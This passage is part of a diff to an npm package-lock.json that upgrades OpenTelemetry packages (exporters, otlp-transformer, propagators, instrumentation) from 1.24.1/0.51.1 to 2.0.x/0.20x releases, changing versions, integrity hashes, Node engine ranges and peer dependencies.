"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/exporter-trace-otlp-http/node_modules/@opentelemetry/semantic-conventions": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz",
- "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==",
- "license": "Apache-2.0",
- "engines": {
- "node": ">=14"
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
}
},
"node_modules/@opentelemetry/exporter-trace-otlp-proto": {
- "version": "0.51.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-proto/-/exporter-trace-otlp-proto-0.51.1.tgz",
- "integrity": "sha512-SE9f0/6V6EeXC9i+WA4WFjS1EYgaBCpAnI5+lxWvZ7iO7EU1IvHvZhP6Kojr0nLldo83gqg6G7OWFqsID3uF+w==",
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-proto/-/exporter-trace-otlp-proto-0.203.0.tgz",
+ "integrity": "sha512-1xwNTJ86L0aJmWRwENCJlH4LULMG2sOXWIVw+Szta4fkqKVY50Eo4HoVKKq6U9QEytrWCr8+zjw0q/ZOeXpcAQ==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/otlp-exporter-base": "0.51.1",
- "@opentelemetry/otlp-proto-exporter-base": "0.51.1",
- "@opentelemetry/otlp-transformer": "0.51.1",
- "@opentelemetry/resources": "1.24.1",
- "@opentelemetry/sdk-trace-base": "1.24.1"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/otlp-exporter-base": "0.203.0",
+ "@opentelemetry/otlp-transformer": "0.203.0",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/sdk-trace-base": "2.0.1"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": "^1.0.0"
+ "@opentelemetry/api": "^1.3.0"
}
},
"node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/core": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz",
- "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
}
},
"node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/resources": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.24.1.tgz",
- "integrity": "sha512-cyv0MwAaPF7O86x5hk3NNgenMObeejZFLJJDVuSeSMIsknlsj3oOZzRv3qSzlwYomXsICfBeFFlxwHQte5mGXQ==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz",
+ "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
}
},
"node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/sdk-trace-base": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-1.24.1.tgz",
- "integrity": "sha512-zz+N423IcySgjihl2NfjBf0qw1RWe11XIAWVrTNOSSI6dtSPJiVom2zipFB2AEEtJWpv0Iz6DY6+TjnyTV5pWg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.0.1.tgz",
+ "integrity": "sha512-xYLlvk/xdScGx1aEqvxLwf6sXQLXCjk3/1SQT9X9AoN5rXRhkdvIFShuNNmtTEPRBqcsMbS4p/gJLNI2wXaDuQ==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/resources": "1.24.1",
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/semantic-conventions": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz",
- "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==",
- "license": "Apache-2.0",
- "engines": {
- "node": ">=14"
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
}
},
"node_modules/@opentelemetry/exporter-zipkin": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-zipkin/-/exporter-zipkin-1.24.1.tgz",
- "integrity": "sha512-+Rl/VFmu2n6eaRMnVbyfZx1DqR/1KNyWebYuHyQBZaEAVIn/ZLgmofRpXN1X2nhJ4BNaptQUNxAstCYYz6dKoQ==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-zipkin/-/exporter-zipkin-2.0.1.tgz",
+ "integrity": "sha512-a9eeyHIipfdxzCfc2XPrE+/TI3wmrZUDFtG2RRXHSbZZULAny7SyybSvaDvS77a7iib5MPiAvluwVvbGTsHxsw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/resources": "1.24.1",
- "@opentelemetry/sdk-trace-base": "1.24.1",
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/sdk-trace-base": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
"@opentelemetry/api": "^1.0.0"
}
},
"node_modules/@opentelemetry/exporter-zipkin/node_modules/@opentelemetry/core": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz",
- "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
}
},
"node_modules/@opentelemetry/exporter-zipkin/node_modules/@opentelemetry/resources": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.24.1.tgz",
- "integrity": "sha512-cyv0MwAaPF7O86x5hk3NNgenMObeejZFLJJDVuSeSMIsknlsj3oOZzRv3qSzlwYomXsICfBeFFlxwHQte5mGXQ==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz",
+ "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
}
},
"node_modules/@opentelemetry/exporter-zipkin/node_modules/@opentelemetry/sdk-trace-base": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-1.24.1.tgz",
- "integrity": "sha512-zz+N423IcySgjihl2NfjBf0qw1RWe11XIAWVrTNOSSI6dtSPJiVom2zipFB2AEEtJWpv0Iz6DY6+TjnyTV5pWg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.0.1.tgz",
+ "integrity": "sha512-xYLlvk/xdScGx1aEqvxLwf6sXQLXCjk3/1SQT9X9AoN5rXRhkdvIFShuNNmtTEPRBqcsMbS4p/gJLNI2wXaDuQ==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/resources": "1.24.1",
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/exporter-zipkin/node_modules/@opentelemetry/semantic-conventions": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz",
- "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==",
- "license": "Apache-2.0",
- "engines": {
- "node": ">=14"
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
}
},
"node_modules/@opentelemetry/instrumentation": {
- "version": "0.51.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/instrumentation/-/instrumentation-0.51.1.tgz",
- "integrity": "sha512-JIrvhpgqY6437QIqToyozrUG1h5UhwHkaGK/WAX+fkrpyPtc+RO5FkRtUd9BH0MibabHHvqsnBGKfKVijbmp8w==",
+ "version": "0.207.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/instrumentation/-/instrumentation-0.207.0.tgz",
+ "integrity": "sha512-y6eeli9+TLKnznrR8AZlQMSJT7wILpXH+6EYq5Vf/4Ao+huI7EedxQHwRgVUOMLFbe7VFDvHJrX9/f4lcwnJsA==",
"license": "Apache-2.0",
+ "peer": true,
"dependencies": {
- "@opentelemetry/api-logs": "0.51.1",
- "@types/shimmer": "^1.0.2",
- "import-in-the-middle": "1.7.4",
- "require-in-the-middle": "^7.1.1",
- "semver": "^7.5.2",
- "shimmer": "^1.2.1"
+ "@opentelemetry/api-logs": "0.207.0",
+ "import-in-the-middle": "^2.0.0",
+ "require-in-the-middle": "^8.0.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
"@opentelemetry/api": "^1.3.0"
}
},
"node_modules/@opentelemetry/otlp-exporter-base": {
- "version": "0.51.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.51.1.tgz",
- "integrity": "sha512-UYlnOYyDdzo1Gw559EHCzru0RwhvuXCwoH8jGo9J4gO1TE58GjnEmIjomMsKBCym3qWNJfIQXw+9SZCV0DdQNg==",
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.203.0.tgz",
+ "integrity": "sha512-Wbxf7k+87KyvxFr5D7uOiSq/vHXWommvdnNE7vECO3tAhsA2GfOlpWINCMWUEPdHZ7tCXxw6Epp3vgx3jU7llQ==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/otlp-transformer": "0.203.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": "^1.0.0"
+ "@opentelemetry/api": "^1.3.0"
}
},
"node_modules/@opentelemetry/otlp-exporter-base/node_modules/@opentelemetry/core": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz",
- "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/otlp-exporter-base/node_modules/@opentelemetry/semantic-conventions": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz",
- "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==",
- "license": "Apache-2.0",
- "engines": {
- "node": ">=14"
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
}
},
"node_modules/@opentelemetry/otlp-grpc-exporter-base": {
- "version": "0.51.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-grpc-exporter-base/-/otlp-grpc-exporter-base-0.51.1.tgz",
- "integrity": "sha512-ZAS+4pq8o7dsugGTwV9s6JMKSxi+guIHdn0acOv0bqj26e9pWDFx5Ky+bI0aY46uR9Y0JyXqY+KAEYM/SO3DFA==",
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-grpc-exporter-base/-/otlp-grpc-exporter-base-0.203.0.tgz",
+ "integrity": "sha512-te0Ze1ueJF+N/UOFl5jElJW4U0pZXQ8QklgSfJ2linHN0JJsuaHG8IabEUi2iqxY8ZBDlSiz1Trfv5JcjWWWwQ==",
"license": "Apache-2.0",
"dependencies": {
"@grpc/grpc-js": "^1.7.1",
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/otlp-exporter-base": "0.51.1",
- "protobufjs": "^7.2.3"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/otlp-exporter-base": "0.203.0",
+ "@opentelemetry/otlp-transformer": "0.203.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": "^1.0.0"
+ "@opentelemetry/api": "^1.3.0"
}
},
"node_modules/@opentelemetry/otlp-grpc-exporter-base/node_modules/@opentelemetry/core": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz",
- "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/otlp-grpc-exporter-base/node_modules/@opentelemetry/semantic-conventions": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz",
- "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==",
- "license": "Apache-2.0",
- "engines": {
- "node": ">=14"
- }
- },
- "node_modules/@opentelemetry/otlp-proto-exporter-base": {
- "version": "0.51.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-proto-exporter-base/-/otlp-proto-exporter-base-0.51.1.tgz",
- "integrity": "sha512-gxxxwfk0inDMb5DLeuxQ3L8TtptxSiTNHE4nnAJH34IQXAVRhXSXW1rK8PmDKDngRPIZ6J7ncUCjjIn8b+AgqQ==",
- "license": "Apache-2.0",
- "dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/otlp-exporter-base": "0.51.1",
- "protobufjs": "^7.2.3"
- },
- "engines": {
- "node": ">=14"
- },
- "peerDependencies": {
- "@opentelemetry/api": "^1.0.0"
- }
- },
- "node_modules/@opentelemetry/otlp-proto-exporter-base/node_modules/@opentelemetry/core": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz",
- "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==",
- "license": "Apache-2.0",
- "dependencies": {
- "@opentelemetry/semantic-conventions": "1.24.1"
- },
- "engines": {
- "node": ">=14"
- },
- "peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/otlp-proto-exporter-base/node_modules/@opentelemetry/semantic-conventions": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz",
- "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==",
- "license": "Apache-2.0",
- "engines": {
- "node": ">=14"
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
}
},
"node_modules/@opentelemetry/otlp-transformer": {
- "version": "0.51.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.51.1.tgz",
- "integrity": "sha512-OppYOXwV9LQqqtYUCywqoOqX/JT9LQ5/FMuPZ//eTkvuHdUC4ZMwz2c6uSoT2R90GWvvGnF1iEqTGyTT3xAt2Q==",
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.203.0.tgz",
+ "integrity": "sha512-Y8I6GgoCna0qDQ2W6GCRtaF24SnvqvA8OfeTi7fqigD23u8Jpb4R5KFv/pRvrlGagcCLICMIyh9wiejp4TXu/A==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/api-logs": "0.51.1",
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/resources": "1.24.1",
- "@opentelemetry/sdk-logs": "0.51.1",
- "@opentelemetry/sdk-metrics": "1.24.1",
- "@opentelemetry/sdk-trace-base": "1.24.1"
+ "@opentelemetry/api-logs": "0.203.0",
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/sdk-logs": "0.203.0",
+ "@opentelemetry/sdk-metrics": "2.0.1",
+ "@opentelemetry/sdk-trace-base": "2.0.1",
+ "protobufjs": "^7.3.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.3.0 <1.9.0"
+ "@opentelemetry/api": "^1.3.0"
+ }
+ },
+ "node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/api-logs": {
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.203.0.tgz",
+ "integrity": "sha512-9B9RU0H7Ya1Dx/Rkyc4stuBZSGVQF27WigitInx2QQoj6KUpEFYPKoWjdFTunJYxmXmh17HeBvbMa1EhGyPmqQ==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/api": "^1.3.0"
+ },
+ "engines": {
+ "node": ">=8.0.0"
}
},
"node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/core": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz",
- "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
}
},
"node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/resources": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.24.1.tgz",
- "integrity": "sha512-cyv0MwAaPF7O86x5hk3NNgenMObeejZFLJJDVuSeSMIsknlsj3oOZzRv3qSzlwYomXsICfBeFFlxwHQte5mGXQ==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz",
+ "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
}
},
"node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/sdk-trace-base": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-1.24.1.tgz",
- "integrity": "sha512-zz+N423IcySgjihl2NfjBf0qw1RWe11XIAWVrTNOSSI6dtSPJiVom2zipFB2AEEtJWpv0Iz6DY6+TjnyTV5pWg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.0.1.tgz",
+ "integrity": "sha512-xYLlvk/xdScGx1aEqvxLwf6sXQLXCjk3/1SQT9X9AoN5rXRhkdvIFShuNNmtTEPRBqcsMbS4p/gJLNI2wXaDuQ==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/resources": "1.24.1",
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/semantic-conventions": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz",
- "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==",
- "license": "Apache-2.0",
- "engines": {
- "node": ">=14"
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
}
},
"node_modules/@opentelemetry/propagator-b3": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/propagator-b3/-/propagator-b3-1.24.1.tgz",
- "integrity": "sha512-nda97ZwhpZKyUJTXqQuKzNhPMUgMLunbbGWn8kroBwegn+nh6OhtyGkrVQsQLNdVKJl0KeB5z0ZgeWszrYhwFw==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/propagator-b3/-/propagator-b3-2.0.1.tgz",
+ "integrity": "sha512-Hc09CaQ8Tf5AGLmf449H726uRoBNGPBL4bjr7AnnUpzWMvhdn61F78z9qb6IqB737TffBsokGAK1XykFEZ1igw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1"
+ "@opentelemetry/core": "2.0.1"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
}
},
"node_modules/@opentelemetry/propagator-b3/node_modules/@opentelemetry/core": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz",
- "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/propagator-b3/node_modules/@opentelemetry/semantic-conventions": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz",
- "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==",
- "license": "Apache-2.0",
- "engines": {
- "node": ">=14"
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
}
},
"node_modules/@opentelemetry/propagator-jaeger": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/propagator-jaeger/-/propagator-jaeger-1.24.1.tgz",
- "integrity": "sha512-7bRBJn3FG1l195A1m+xXRHvgzAOBsfmRi9uZ5Da18oTh7BLmNDiA8+kpk51FpTsU1PCikPVpRDNPhKVB6lyzZg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/propagator-jaeger/-/propagator-jaeger-2.0.1.tgz",
+ "integrity": "sha512-7PMdPBmGVH2eQNb/AtSJizQNgeNTfh6jQFqys6lfhd6P4r+m/nTh3gKPPpaCXVdRQ+z93vfKk+4UGty390283w==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1"
